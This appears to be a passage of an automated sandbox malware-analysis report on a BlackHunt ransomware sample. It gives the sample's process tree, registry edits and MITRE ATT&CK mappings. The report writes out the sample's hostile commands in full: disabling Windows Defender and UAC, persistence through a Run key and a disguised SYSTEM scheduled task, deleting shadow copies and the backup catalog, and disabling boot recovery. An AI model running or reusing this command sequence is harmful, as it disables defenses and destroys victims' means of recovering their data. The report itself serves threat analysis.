PID 4484 wrote to memory of 4572	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	147
PID 4484 wrote to memory of 1080	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	143
PID 4484 wrote to memory of 1080	4484	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe	143

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe
"C:\Users\Admin\AppData\Local\Temp\a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3120
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:1972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2936
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2200
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1212
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:4772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:1400
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:4632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:4116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:4892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:3552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:5064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:4076
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:3244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3340
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:3824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:3380
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4344
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3952
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1368
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:3932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:456
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3144
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3280
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1524
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe" /F
  2⤵
  PID:2984
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a7d341287654b3bd9b46bb7a6c5833683e63efde961677cbee2167fb6e6a4496.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4552
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2432
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1568
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3824
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:4408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:3748
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4596
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1208
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:312
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3056
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4712
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:368
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3060

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Modifies registry class
PID:1972

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4132

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4712

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4796

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:2916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery